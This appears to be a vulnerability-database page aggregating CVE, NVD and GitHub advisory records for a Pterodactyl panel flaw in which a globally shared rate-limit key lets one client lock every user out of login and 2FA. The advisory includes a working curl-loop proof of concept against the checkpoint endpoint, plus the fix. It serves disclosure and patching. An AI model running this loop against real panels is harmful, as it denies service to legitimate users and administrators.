Vulnerability-Lookup

CVE-2026-61609 (GCVE-0-2026-61609)

Vulnerability from cvelistv5 – Published: 2026-07-28 15:45 – Updated: 2026-07-28 19:28

Title

Pterodactyl's shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)

Summary

Pterodactyl is a free, open-source game server management panel. From 1.7.0 until 1.13.0, the authentication rate limiter defined in RouteServiceProvider::configureRateLimiting() applied a single global bucket to the login and two-factor checkpoint endpoints instead of keying by IP or account: the fall-through Limit::perMinute(10) covering POST /auth/login and POST /auth/login/checkpoint omitted ->by(), so Laravel derived a constant cache key (md5('authentication')) shared by every request. An unauthenticated attacker sending roughly ten requests per minute from a single IP, most cheaply against the checkpoint endpoint (which has no reCAPTCHA), exhausts the shared counter and causes HTTP 429 for every user attempting to log in or complete two-factor authentication, a panel-wide authentication denial of service that also locks out administrators. This issue is fixed in version 1.13.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-28 19:27 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/pterodactyl/panel/security/adv…	x_refsource_CONFIRM
https://github.com/pterodactyl/panel/commit/98079…	x_refsource_MISC
https://github.com/pterodactyl/panel/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
pterodactyl	panel	Affected: >= 1.7.0, < 1.13.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-61609",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-28T19:27:43.426874Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-28T19:28:14.470Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "panel",
          "vendor": "pterodactyl",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.7.0, \u003c 1.13.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pterodactyl is a free, open-source game server management panel. From 1.7.0 until 1.13.0, the authentication rate limiter defined in RouteServiceProvider::configureRateLimiting() applied a single global bucket to the login and two-factor checkpoint endpoints instead of keying by IP or account: the fall-through Limit::perMinute(10) covering POST /auth/login and POST /auth/login/checkpoint omitted -\u003eby(), so Laravel derived a constant cache key (md5(\u0027authentication\u0027)) shared by every request. An unauthenticated attacker sending roughly ten requests per minute from a single IP, most cheaply against the checkpoint endpoint (which has no reCAPTCHA), exhausts the shared counter and causes HTTP 429 for every user attempting to log in or complete two-factor authentication, a panel-wide authentication denial of service that also locks out administrators. This issue is fixed in version 1.13.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-28T15:45:57.570Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
        },
        {
          "name": "https://github.com/pterodactyl/panel/commit/98079a01660a61980fe62a72b2c1d48f99c35a5e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pterodactyl/panel/commit/98079a01660a61980fe62a72b2c1d48f99c35a5e"
        },
        {
          "name": "https://github.com/pterodactyl/panel/releases/tag/v1.13.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pterodactyl/panel/releases/tag/v1.13.0"
        }
      ],
      "source": {
        "advisory": "GHSA-xvc3-826v-xf47",
        "discovery": "UNKNOWN"
      },
      "title": "Pterodactyl\u0027s shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-61609",
    "datePublished": "2026-07-28T15:45:57.570Z",
    "dateReserved": "2026-07-10T17:36:04.597Z",
    "dateUpdated": "2026-07-28T19:28:14.470Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-61609",
      "date": "2026-09-24",
      "epss": "0.00741",
      "percentile": "0.52622"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "panel",
                "vendor": "pterodactyl",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 1.7.0, \u003c 1.13.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Pterodactyl is a free, open-source game server management panel. From 1.7.0 until 1.13.0, the authentication rate limiter defined in RouteServiceProvider::configureRateLimiting() applied a single global bucket to the login and two-factor checkpoint endpoints instead of keying by IP or account: the fall-through Limit::perMinute(10) covering POST /auth/login and POST /auth/login/checkpoint omitted -\u003eby(), so Laravel derived a constant cache key (md5(\u0027authentication\u0027)) shared by every request. An unauthenticated attacker sending roughly ten requests per minute from a single IP, most cheaply against the checkpoint endpoint (which has no reCAPTCHA), exhausts the shared counter and causes HTTP 429 for every user attempting to log in or complete two-factor authentication, a panel-wide authentication denial of service that also locks out administrators. This issue is fixed in version 1.13.0."
          }
        ],
        "id": "CVE-2026-61609",
        "lastModified": "2026-07-30T19:29:19.027",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 3.6,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-61609",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-28T19:27:43.426874Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-28T16:19:28.693",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pterodactyl/panel/commit/98079a01660a61980fe62a72b2c1d48f99c35a5e"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pterodactyl/panel/releases/tag/v1.13.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-770"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-61609",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-28T19:27:43.426874Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-28T19:28:10.311Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "panel",
              "vendor": "pterodactyl",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 1.7.0, \u003c 1.13.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Pterodactyl is a free, open-source game server management panel. From 1.7.0 until 1.13.0, the authentication rate limiter defined in RouteServiceProvider::configureRateLimiting() applied a single global bucket to the login and two-factor checkpoint endpoints instead of keying by IP or account: the fall-through Limit::perMinute(10) covering POST /auth/login and POST /auth/login/checkpoint omitted -\u003eby(), so Laravel derived a constant cache key (md5(\u0027authentication\u0027)) shared by every request. An unauthenticated attacker sending roughly ten requests per minute from a single IP, most cheaply against the checkpoint endpoint (which has no reCAPTCHA), exhausts the shared counter and causes HTTP 429 for every user attempting to log in or complete two-factor authentication, a panel-wide authentication denial of service that also locks out administrators. This issue is fixed in version 1.13.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-770",
                  "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-28T15:45:57.570Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
            },
            {
              "name": "https://github.com/pterodactyl/panel/commit/98079a01660a61980fe62a72b2c1d48f99c35a5e",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pterodactyl/panel/commit/98079a01660a61980fe62a72b2c1d48f99c35a5e"
            },
            {
              "name": "https://github.com/pterodactyl/panel/releases/tag/v1.13.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pterodactyl/panel/releases/tag/v1.13.0"
            }
          ],
          "source": {
            "advisory": "GHSA-xvc3-826v-xf47",
            "discovery": "UNKNOWN"
          },
          "title": "Pterodactyl\u0027s shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-61609",
        "datePublished": "2026-07-28T15:45:57.570Z",
        "dateReserved": "2026-07-10T17:36:04.597Z",
        "dateUpdated": "2026-07-28T19:28:14.470Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-61609

Vulnerability from fkie_nvd - Published: 2026-07-28 16:19 - Updated: 2026-07-30 19:29

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pterodactyl/panel/commit/98079a01660a61980fe62a72b2c1d48f99c35a5e
	security-advisories@github.com	https://github.com/pterodactyl/panel/releases/tag/v1.13.0
	security-advisories@github.com	https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "panel",
          "vendor": "pterodactyl",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.7.0, \u003c 1.13.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pterodactyl is a free, open-source game server management panel. From 1.7.0 until 1.13.0, the authentication rate limiter defined in RouteServiceProvider::configureRateLimiting() applied a single global bucket to the login and two-factor checkpoint endpoints instead of keying by IP or account: the fall-through Limit::perMinute(10) covering POST /auth/login and POST /auth/login/checkpoint omitted -\u003eby(), so Laravel derived a constant cache key (md5(\u0027authentication\u0027)) shared by every request. An unauthenticated attacker sending roughly ten requests per minute from a single IP, most cheaply against the checkpoint endpoint (which has no reCAPTCHA), exhausts the shared counter and causes HTTP 429 for every user attempting to log in or complete two-factor authentication, a panel-wide authentication denial of service that also locks out administrators. This issue is fixed in version 1.13.0."
    }
  ],
  "id": "CVE-2026-61609",
  "lastModified": "2026-07-30T19:29:19.027",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-61609",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-28T19:27:43.426874Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-28T16:19:28.693",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pterodactyl/panel/commit/98079a01660a61980fe62a72b2c1d48f99c35a5e"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pterodactyl/panel/releases/tag/v1.13.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-XVC3-826V-XF47

Vulnerability from github – Published: 2026-07-28 14:57 – Updated: 2026-07-28 14:57

Summary

Pterodactyl's shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)

Details

Summary

The authentication rate limiter used for the login and two-factor checkpoint endpoints applies a single global bucket shared by every client, instead of keying per IP or per account. An unauthenticated attacker sending ~10 requests per minute from one IP exhausts the shared bucket and causes HTTP 429 for every user on every IP attempting to log in or complete 2FA, for as long as the attack is sustained. This is a trivially triggered, unauthenticated, panel-wide authentication denial of service.

Details

In app/Providers/RouteServiceProvider::configureRateLimiting() the limiter is defined as:

RateLimiter::for('authentication', function (Request $request) {
    if ($request->route()->named('auth.post.forgot-password')) {
        return Limit::perMinute(2)->by($request->ip());
    }

    return Limit::perMinute(10);
});

The forgot-password branch is correctly scoped with ->by($request->ip()). The fall-through return, which covers POST /auth/login and POST /auth/login/checkpoint (see routes/auth.php, the throttle:authentication group), omits ->by() entirely.

For a named limiter, Laravel 11 derives the cache key as md5($limiterName . $limit->key) (Illuminate\Routing\Middleware\ThrottleRequests::handleRequestUsingNamedLimiter). Limit::perMinute(10) is constructed with an empty key, so the resolved key is md5('authentication'), a constant identical for every incoming request. All clients therefore contend for one shared counter rather than one counter per source.

Two factors make this worse: - throttle:authentication is registered as group middleware in routes/auth.php, so it increments before the route-level recaptcha middleware on POST /auth/login. Requests count toward the limit regardless of reCAPTCHA outcome. - POST /auth/login/checkpoint has no reCAPTCHA at all, giving an attacker a clean, low-cost way to fill the shared bucket with malformed requests.

Once the 10/minute global limit is hit, the throttle returns 429 to all subsequent requests on those endpoints until the one-minute window decays. Repeating the burst each minute holds the panel in a permanent locked-out state for all legitimate users.

PoC

Stand up a default Pterodactyl panel.
From a single attacker IP, exhaust the shared bucket via the checkpoint endpoint (no reCAPTCHA):

for i in $(seq 1 11); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST https://panel.example.com/auth/login/checkpoint \
    -H 'Content-Type: application/json' \
    -H 'X-Requested-With: XMLHttpRequest' \
    -d '{"confirmation_token":"x","authentication_code":"000000"}'
done

Requests 1-10 return a normal 4xx (validation/auth failure); request 11 returns 429 Too Many Requests.

From a completely different IP and a valid account, attempt a normal login:

curl -s -o /dev/null -w "%{http_code}\n" \
  -X POST https://panel.example.com/auth/login \
  -H 'Content-Type: application/json' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -d '{"user":"valid@example.com","password":"correct-horse"}'

This returns 429 despite being a different IP, different account, and valid credentials. Looping step 2 once per minute keeps every user locked out indefinitely.

Impact

This is an unauthenticated availability attack against authentication. Any internet-facing Pterodactyl panel can be made unusable for all users (login and 2FA verification both blocked) by a single low-bandwidth attacker, with no credentials, no privileges, and no user interaction. Administrators are locked out alongside regular users, hampering incident response. The forgot-password endpoint is unaffected because it is correctly keyed per IP.

Suggested fix: key the fall-through limit by request source, at minimum:

return Limit::perMinute(10)->by($request->ip());

Ideally combine the IP with the submitted identifier for login (e.g. ->by($request->ip() . '|' . (string) $request->input('user'))) and the IP plus confirmation token for the checkpoint, so brute-force protection per account is preserved while removing the shared global bucket.

Disclaimer

This report was written by AI, the bug itself was found and confirmed by the reporter.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pterodactyl/panel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61609"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T14:57:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `authentication` rate limiter used for the login and two-factor checkpoint endpoints applies a single global bucket shared by every client, instead of keying per IP or per account. An unauthenticated attacker sending ~10 requests per minute from one IP exhausts the shared bucket and causes HTTP 429 for every user on every IP attempting to log in or complete 2FA, for as long as the attack is sustained. This is a trivially triggered, unauthenticated, panel-wide authentication denial of service.\n\n### Details\nIn `app/Providers/RouteServiceProvider::configureRateLimiting()` the limiter is defined as:\n\n```php\nRateLimiter::for(\u0027authentication\u0027, function (Request $request) {\n    if ($request-\u003eroute()-\u003enamed(\u0027auth.post.forgot-password\u0027)) {\n        return Limit::perMinute(2)-\u003eby($request-\u003eip());\n    }\n\n    return Limit::perMinute(10);\n});\n```\n\nThe forgot-password branch is correctly scoped with `-\u003eby($request-\u003eip())`. The fall-through return, which covers `POST /auth/login` and `POST /auth/login/checkpoint` (see `routes/auth.php`, the `throttle:authentication` group), omits `-\u003eby()` entirely.\n\nFor a named limiter, Laravel 11 derives the cache key as `md5($limiterName . $limit-\u003ekey)` (`Illuminate\\Routing\\Middleware\\ThrottleRequests::handleRequestUsingNamedLimiter`). `Limit::perMinute(10)` is constructed with an empty `key`, so the resolved key is `md5(\u0027authentication\u0027)`, a constant identical for every incoming request. All clients therefore contend for one shared counter rather than one counter per source.\n\nTwo factors make this worse:\n- `throttle:authentication` is registered as group middleware in `routes/auth.php`, so it increments before the route-level `recaptcha` middleware on `POST /auth/login`. Requests count toward the limit regardless of reCAPTCHA outcome.\n- `POST /auth/login/checkpoint` has no reCAPTCHA at all, giving an attacker a clean, low-cost way to fill the shared bucket with malformed requests.\n\nOnce the 10/minute global limit is hit, the throttle returns 429 to all subsequent requests on those endpoints until the one-minute window decays. Repeating the burst each minute holds the panel in a permanent locked-out state for all legitimate users.\n\n### PoC\n1. Stand up a default Pterodactyl panel.\n2. From a single attacker IP, exhaust the shared bucket via the checkpoint endpoint (no reCAPTCHA):\n\n```bash\nfor i in $(seq 1 11); do\n  curl -s -o /dev/null -w \"%{http_code}\\n\" \\\n    -X POST https://panel.example.com/auth/login/checkpoint \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -H \u0027X-Requested-With: XMLHttpRequest\u0027 \\\n    -d \u0027{\"confirmation_token\":\"x\",\"authentication_code\":\"000000\"}\u0027\ndone\n```\n\nRequests 1-10 return a normal 4xx (validation/auth failure); request 11 returns `429 Too Many Requests`.\n\n3. From a completely different IP and a valid account, attempt a normal login:\n\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n  -X POST https://panel.example.com/auth/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027X-Requested-With: XMLHttpRequest\u0027 \\\n  -d \u0027{\"user\":\"valid@example.com\",\"password\":\"correct-horse\"}\u0027\n```\n\nThis returns `429` despite being a different IP, different account, and valid credentials. Looping step 2 once per minute keeps every user locked out indefinitely.\n\n### Impact\nThis is an unauthenticated availability attack against authentication. Any internet-facing Pterodactyl panel can be made unusable for all users (login and 2FA verification both blocked) by a single low-bandwidth attacker, with no credentials, no privileges, and no user interaction. Administrators are locked out alongside regular users, hampering incident response. The forgot-password endpoint is unaffected because it is correctly keyed per IP.\n\nSuggested fix: key the fall-through limit by request source, at minimum:\n\n```php\nreturn Limit::perMinute(10)-\u003eby($request-\u003eip());\n```\n\nIdeally combine the IP with the submitted identifier for login (e.g. `-\u003eby($request-\u003eip() . \u0027|\u0027 . (string) $request-\u003einput(\u0027user\u0027))`) and the IP plus confirmation token for the checkpoint, so brute-force protection per account is preserved while removing the shared global bucket.\n\n### Disclaimer\nThis report was written by AI, the bug itself was found and confirmed by the reporter.",
  "id": "GHSA-xvc3-826v-xf47",
  "modified": "2026-07-28T14:57:59Z",
  "published": "2026-07-28T14:57:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-xvc3-826v-xf47"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/panel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pterodactyl\u0027s shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-61609 (GCVE-0-2026-61609)

FKIE_CVE-2026-61609

GHSA-XVC3-826V-XF47

Summary

Details

PoC

Impact

Disclaimer

Tags

Sightings

Nomenclature

Related by attack behaviour